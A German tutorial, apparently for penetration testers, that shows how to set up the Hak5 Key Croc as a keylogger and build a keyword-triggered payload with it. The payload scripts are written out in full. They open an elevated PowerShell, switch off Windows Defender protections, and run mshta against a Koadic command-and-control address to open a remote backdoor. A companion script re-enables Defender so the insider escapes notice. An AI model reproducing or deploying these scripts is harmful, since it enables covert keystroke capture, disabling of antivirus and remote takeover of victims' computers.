In einem vorangegangenen Beitrag haben wir gezeigt, wie Sie den Key Croc einrichten und eine Verbindung über WLAN oder über die serielle Schnittstelle herstellen können. Außerdem sind wir auf die verschiedenen Modi und die Besonderheiten des Filesystems eingegangen.
In diesen Beitrag werden wir unseren ersten Payload mit dem Key Croc erstellen. Dazu haben wir ein einfaches Szenario ausgewählt. Neben dem Keylogger von Hak5 kommt außerdem die Software Koadic zum Einsatz, die als „Command und Control“ Server mithilfe von Kali Linux fungiert. Auch dieses Tool hatten wir bereits in einem anderen Szenario verwendet.
Zu diesem Zeitpunkt möchten wir darauf hinweisen, dass die Anwendung dieser Hard- und Software zu illegalen Zwecken zu strafrechtlichen Konsequenzen führen kann. Die unbefugte Nutzung des Key Crocs in realen Umgebungen stellt kein Kavaliersdelikt dar. Die hier vorgestellten Skripte und Techniken sollen Penetrationstester helfen, diese Tools zu legitimen Zwecken einzusetzen.
Das Szenario
Die Key Croc von Hak5 ist an einem Windows 10 PC angeschlossen und fungiert dort als Keylogger. Die Tastaturanschläge werden auf den internen Speicher des Key Croc aufgezeichnet. Gleichzeitig wartet das Gerät auf Tastatureingaben, die weitere Aktionen auslösen.
Der Angreifer hat mittels Koadic einen Server installiert, über die er eingehende Verbindungen empfangen kann. In diesem speziellen Fall kommt der Stager sta/js/mshta zum Einsatz.
Hinweis: In diesem Artikel haben wir gezeigt, wie Sie Koadic installieren und einrichten. Weitere Informationen finden Sie außerdem in der iX 01/2020 und in Github.
Wir nehmen an, dass der Windows 10 PC “stand alone” arbeitet und der Virenschutz aktiv ist. Da der Windows Defender unseren Payload als maliziös einstuft, müssen wir zuerst versuchen ihn abzuschalten.
Damit unser Vorhaben gelingt, wird ein Innentäter benötigt, der die Unaufmerksamkeit eines Users ausnutzt und das Schlüsselwort “easy” über die Tastatur eingibt. Dies löst ein Skript aus, das ebenfalls auf dem Key Croc gespeichert ist und eine Reverse-Verbindung zum Angreifer herstellt. In diesem Fall wird die Datei mshta.exe verwendet, die Teil des Windows Betriebssystems (Microsoft HTML Application) ist.
Über das Schlüsselwort “stopp” ist der Innentäter in der Lage bei Bedarf den Virenschutz wieder einzuschalten, um keine unnötigen Verdacht zu erregen.
Da der Key Croc schon “out of the box” als Keylogger einsetzbar ist, müssen wir nur noch zwei weitere Skripte erstellen und im Payload-Verzeichnis des Gerätes abspeichern.
Skripte erstellen
Um Skripte erstellen zu können, sollte man mit der Arbeitsweise des Key Croc vertraut sein. Über die Besonderheiten sind wir bereits im vorangegangenen Artikel eingegangen.
Verwenden Sie eine Büroklammer oder ein SIM-Werkzeug und drücken Sie die Taste auf der Rückseite des Key Croc so lange bis die LED blau blinkt. Der Arming-Mode ist aktiv. Auf einem Windows-PC wird in der Regel ein Laufwerk KeyCroc (D:) sichtbar. Legen Sie hier im Unterverzeichnis payloads Ihre Skripte mit der Dateiendung txt ab.
Das Skript easy.txt leistet die eigentliche Arbeit. Das Kommando “MATCH easy” weist den Key Croc an, auf das Schlüsselwort “easy” zu “lauschen” und beim Erkennen die folgenden Befehle auszuführen. Natürlich können Sie hier Ihre eigenen Schlüsselwörter einsetzen.
Im ersten Abschnitt wird ein Powershell-Fenster mit lokalen administrativen Rechten geöffnet. Auch beim Key Croc ist es wichtig, kurze Pausen zwischen den einzelnen Kommandos einzulegen und dem System ein wenig Zeit zu geben zu reagieren. Dies wird durch die Befehle sleep und DELAY erreicht.
Wichtig!
Auch wenn Sie in der config-Datei des Key Croc (config.txt) bereits die Sprache auf Deutsch voreingestellt haben, so müssen Sie dies im Skript nochmals tun (export DUCKY_LANG=de). Leider ist dies in der Dokumentation derzeit nicht ersichtlich.
Mit zwei Powershell-Befelen wird der Windows Defender abgeschaltet.
Jetzt kann die Microsoft HTML Application ihre Arbeit erledigen und eine Verbindung zum Koadic-Server herstellen. Da die Hintertür nun eingerichtet ist, wird das Powershell-Fenster wieder geschlossen.
MATCH easy
QUACK DELAY 1000
# Disable Defender
ATTACKMODE HID
QUACK GUI-r
QUACK DELAY 1000
export DUCKY_LANG=de
QUACK DELAY 1000
QUACK STRING "powershell Start-Process powershell -Verb runAS"
QUACK ENTER
sleep 3
QUACK ALT j
QUACK STRING "Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -DisableBlockAtFirstSeen $true -DisableBehaviorMonitoring $true -MAPSReporting 0"
QUACK ENTER
sleep 1
QUACK STRING "Set-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' DisableAntiSpyware 1"
QUACK ENTER
# Create backdoor and close the window
QUACK STRING "mshta http://192.168.171.32:443/index;exit"
QUACK ENTER
Wenn alles geklappt hat, dann sollte unser Koadic Server über eine eingehende Zombie-Verbindung (Zombie 0) verfügen. Der Stern (*) hinter der ID deutet an, das wir über administrative Rechte auf dem Zielsystem verfügen.
Das Skript stopp.txt schaltet den Windows Defender wieder ein. Hierfür wird das Schlüsselwort “stopp” verwendet.
MATCH stopp
QUACK DELAY 1000
# Enable Windows Defender
ATTACKMODE HID
QUACK GUI-r
QUACK DELAY 1000
export DUCKY_LANG=de
QUACK DELAY 1000
QUACK STRING "powershell Start-Process powershell -Verb runAS"
QUACK ENTER
sleep 3
QUACK ALT j
sleep 1
QUACK STRING "Set-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' DisableAntiSpyware 0"
QUACK ENTER
QUACK STRING "exit"
QUACK ENTER
Fazit
Zugegeben – dies sind nur relativ einfache Skripte. Trotzdem haben wir die Arbeit mit dem Key Croc ein wenig unterschätzt. Der ständige Wechsel zwischen Arming-Mode und Attack-Mode hat uns sehr viel Zeit gekostet. Oftmals brachten die ersten Eingaben nicht die gewünschten Ergebnisse und mussten mehrere Male nachgebessert werden. Erst nach und nach konnten wir uns einarbeiten und die gewünschten Reaktionen auf dem Zielsystem umsetzen. Erschwerend kam hinzu, dass nicht alle Tastaturen und Systeme gleich reagieren. Teilweise mussten wir die Skripte abändern oder ergänzen, um ans Ziel zu kommen.
Anwender, die ein fertiges Skript auf ihren Key Croc kopieren und davon ausgehen, dass sie auf ihrem Zielsystem funktionieren, werden sicher enttäuscht sein.
Uns bleibt zu hoffen, dass die Entwickler den Key Croc mit neuer Firmware verbessern und stabiler machen.